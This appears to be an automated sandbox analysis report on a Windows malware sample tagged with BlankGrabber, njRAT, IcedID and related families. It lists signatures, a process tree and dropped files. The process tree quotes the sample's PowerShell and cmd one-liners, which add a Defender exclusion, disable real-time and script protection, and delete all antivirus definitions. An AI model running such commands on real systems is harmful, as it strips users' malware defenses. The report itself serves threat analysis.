Analysis
- max time kernel
148s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 02:50
General
- Target 2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 10.5MB
- Sample260718-dbvt6ady5p
- SHA256 5db1f19385ebbbccd886df1e4a16999e9d356be2fbd886149f62466fcc6cf3e2
Malware Config
Signatures
- Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
- UPX dump on OEP (original entry point) 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 16 IoCs
- UPX packed file 45 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All4⤵
- Deletes Windows Defender Definitions
-
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI41402\7_zip.exeC:\Users\Admin\AppData\Local\Temp\_MEI41402\7_zip.exe3⤵
- Executes dropped EXE
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
7_zip.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_mlwzwwxp.i0q.ps1
memory/236-99-0x00000199EAE10000-0x00000199EAEC2000-memory.dmp
memory/236-100-0x00000199EABC0000-0x00000199EABCA000-memory.dmp
memory/236-98-0x00000199EABE0000-0x00000199EABFE000-memory.dmp
memory/1892-91-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/1892-82-0x00007FFF270CF000-0x00007FFF270D0000-memory.dmp
memory/1892-108-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/1892-89-0x000001EE15DC0000-0x000001EE15DE2000-memory.dmp
memory/1892-90-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/1892-86-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/1892-85-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/1892-84-0x00007FFF26F40000-0x00007FFF278E4000-memory.dmp
memory/2292-76-0x00007FFF3A840000-0x00007FFF3A854000-memory.dmp
memory/2292-105-0x00007FFF3E8E0000-0x00007FFF3E8ED000-memory.dmp
memory/2292-78-0x00007FFF3E8D0000-0x00007FFF3E8DD000-memory.dmp
memory/2292-80-0x00007FFF32F30000-0x00007FFF3304C000-memory.dmp
memory/2292-74-0x00007FFF33340000-0x00007FFF333F8000-memory.dmp
memory/2292-81-0x00007FFF3E910000-0x00007FFF3E933000-memory.dmp
memory/2292-72-0x00007FFF278F0000-0x00007FFF27C65000-memory.dmp
memory/2292-71-0x00007FFF3E9A0000-0x00007FFF3E9C4000-memory.dmp
memory/2292-69-0x00007FFF3CAF0000-0x00007FFF3CB1E000-memory.dmp
memory/2292-68-0x00007FFF27C70000-0x00007FFF28258000-memory.dmp
memory/2292-60-0x00007FFF3E910000-0x00007FFF3E933000-memory.dmp
memory/2292-66-0x00007FFF3E8E0000-0x00007FFF3E8ED000-memory.dmp
memory/2292-94-0x00007FFF2F560000-0x00007FFF2F6D3000-memory.dmp
memory/2292-127-0x00007FFF33340000-0x00007FFF333F8000-memory.dmp
memory/2292-31-0x00007FFF3E9A0000-0x00007FFF3E9C4000-memory.dmp
memory/2292-54-0x00007FFF3E940000-0x00007FFF3E96D000-memory.dmp
memory/2292-52-0x00007FFF3E970000-0x00007FFF3E989000-memory.dmp
memory/2292-33-0x00007FFF3E990000-0x00007FFF3E99F000-memory.dmp
memory/2292-103-0x00007FFF3E8F0000-0x00007FFF3E909000-memory.dmp
memory/2292-62-0x00007FFF2F560000-0x00007FFF2F6D3000-memory.dmp
memory/2292-26-0x00007FFF27C70000-0x00007FFF28258000-memory.dmp
memory/2292-64-0x00007FFF3E8F0000-0x00007FFF3E909000-memory.dmp
memory/2292-109-0x00007FFF3CAF0000-0x00007FFF3CB1E000-memory.dmp
memory/2292-111-0x00007FFF278F0000-0x00007FFF27C65000-memory.dmp
memory/2292-113-0x00007FFF3E9A0000-0x00007FFF3E9C4000-memory.dmp
memory/2292-112-0x00007FFF27C70000-0x00007FFF28258000-memory.dmp
memory/2292-126-0x00007FFF32F30000-0x00007FFF3304C000-memory.dmp
memory/5640-95-0x00007FF7F3F80000-0x00007FF7F46B1000-memory.dmp